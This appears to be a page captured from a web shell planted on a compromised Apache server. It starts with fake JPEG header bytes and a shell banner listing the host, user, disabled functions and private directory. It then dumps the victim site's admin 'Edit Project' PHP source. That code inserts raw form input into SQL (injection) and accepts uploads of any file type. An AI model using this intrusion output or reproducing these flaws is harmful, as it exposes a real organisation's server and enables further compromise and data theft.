ÿØÿà JFIF ` ` ÿáfExif MM * i >ê 2 ê ê P ê ÿþ ?CREATOR: gd-jpeg v1.0 (usi
|
Server : Apache System : Linux gains.enterpriseappscloud.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : beyondlimi ( 2438) PHP Version : 7.4.33 Disable Function : allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo Directory : /home/beyondlimi/domains/beyondlimits.org.in/private_html/admin/ |
Upload File : |
<?php
session_start();
include 'db.php';
if (!isset($_SESSION['admin'])) {
header("Location: index.php");
exit();
}
$id = intval($_GET['id'] ?? 0);
if ($id <= 0) {
die("Invalid Project ID");
}
// Fetch existing project
$result = $conn->query("SELECT * FROM projects WHERE id = $id");
if ($result->num_rows !== 1) {
die("Project not found");
}
$project = $result->fetch_assoc();
// Update project
if (isset($_POST['submit'])) {
$project_name = $_POST['project_name'];
$project_description = $_POST['project_description'];
$project_date = $_POST['project_date'];
// Handle image upload
if (!empty($_FILES['project_image']['name'])) {
$image_name = $_FILES['project_image']['name'];
$image_tmp = $_FILES['project_image']['tmp_name'];
$upload_path = "uploads/" . basename($image_name);
move_uploaded_file($image_tmp, $upload_path);
} else {
$image_name = $project['project_image']; // keep existing image
}
$sql = "UPDATE projects SET
project_name = '$project_name',
project_description = '$project_description',
project_date = '$project_date',
project_image = '$image_name'
WHERE id = $id";
if ($conn->query($sql)) {
header("Location: allprojects.php?success=updated");
exit();
} else {
$error = "Error updating project: " . $conn->error;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Edit Project</title>
<link rel="shortcut icon" type="image/png" href="../NEWIMAGES/BEYONDLIMITS LOGO.png" />
<link rel="stylesheet" href="./assets/css/styles.min.css" />
<style>
.container {
max-width: 700px;
}
.form-label {
font-weight: 500;
}
</style>
</head>
<body>
<div class="page-wrapper" id="main-wrapper" data-layout="vertical" data-navbarbg="skin6"
data-sidebartype="full" data-sidebar-position="fixed" data-header-position="fixed">
<!-- Sidebar Start -->
<aside class="left-sidebar">
<div>
<div class="brand-logo d-flex align-items-center justify-content-between">
<a href="dashboard.php" class="text-nowrap logo-img">
<img src="../NEWIMAGES/BEYONDLIMITS LOGO.png" class="img-fluid" alt="Logo" />
</a>
<div class="close-btn d-xl-none d-block sidebartoggler cursor-pointer" id="sidebarCollapse">
<i class="ti ti-x fs-6"></i>
</div>
</div>
<nav class="sidebar-nav scroll-sidebar" data-simplebar="">
<ul id="sidebarnav">
<li class="nav-small-cap">
<iconify-icon icon="solar:menu-dots-linear" class="nav-small-cap-icon fs-4"></iconify-icon>
<span class="hide-menu">Menu</span>
</li>
<li class="sidebar-item">
<a class="sidebar-link" href="dashboard.php">
<i class="ti ti-layout-dashboard"></i>
<span class="hide-menu">Dashboard</span>
</a>
</li>
<li class="sidebar-item">
<a class="sidebar-link" href="addproject.php">
<i class="ti ti-plus"></i>
<span class="hide-menu">Add Project</span>
</a>
</li>
<li class="sidebar-item">
<a class="sidebar-link " href="allprojects.php">
<i class="ti ti-eye"></i>
<span class="hide-menu">View Projects</span>
</a>
</li>
<li class="sidebar-item">
<a class="sidebar-link" href="./all_donations.php" aria-expanded="false">
<i class="ti ti-currency-rupee"></i>
<span class="hide-menu">All Donations</span>
</a>
</li>
</ul>
</nav>
</div>
</aside>
<!-- Sidebar End -->
<!-- Main Wrapper Start -->
<div class="body-wrapper">
<header class="app-header">
<nav class="navbar navbar-expand-lg navbar-light">
<ul class="navbar-nav">
<li class="nav-item d-block d-xl-none">
<a class="nav-link sidebartoggler" id="headerCollapse" href="javascript:void(0)">
<i class="ti ti-menu-2"></i>
</a>
</li>
</ul>
<div class="navbar-collapse justify-content-end px-0">
<ul class="navbar-nav flex-row ms-auto align-items-center justify-content-end">
<li class="nav-item dropdown">
<a class="nav-link" href="#" id="drop2" data-bs-toggle="dropdown" aria-expanded="false">
<img src="./assets/images/profile/user-1.jpg" width="35" height="35" class="rounded-circle" alt="Admin">
</a>
<div class="dropdown-menu dropdown-menu-end">
<a href="logout.php" class="btn btn-outline-primary mx-3 mt-2 d-block">Logout</a>
</div>
</li>
</ul>
</div>
</nav>
</header>
<div class="container mt-5">
<div class="card p-4 shadow-sm mt-2">
<h3 class="text-primary mb-4">Edit Project</h3>
<?php if (!empty($error)) echo "<p class='text-danger'>$error</p>"; ?>
<form method="post" enctype="multipart/form-data">
<div class="mb-3">
<label class="form-label">Project Name</label>
<input type="text" class="form-control" name="project_name" value="<?= htmlspecialchars($project['project_name']) ?>" required>
</div>
<div class="mb-3">
<label class="form-label">Project Description</label>
<textarea class="form-control" name="project_description" rows="4" required><?= htmlspecialchars($project['project_description']) ?></textarea>
</div>
<div class="mb-3">
<label class="form-label">Project Date</label>
<input type="date" class="form-control" name="project_date" value="<?= htmlspecialchars($project['project_date']) ?>" required>
</div>
<div class="mb-3">
<label class="form-label">Project Image</label><br>
<img src="uploads/<?= htmlspecialchars($project['project_image']) ?>" width="120" class="mb-2 rounded"><br>
<input type="file" class="form-control" name="project_image">
<small class="text-muted">(Leave blank to keep current image)</small>
</div>
<div class="d-flex justify-content-between">
<button type="submit" name="submit" class="btn btn-success">Update Project</button>
<a href="allprojects.php" class="btn btn-secondary">← Back</a>
</div>
</form>
</div>
</div>
</div>
<!-- Main Wrapper End -->
</div>
</body>
</html>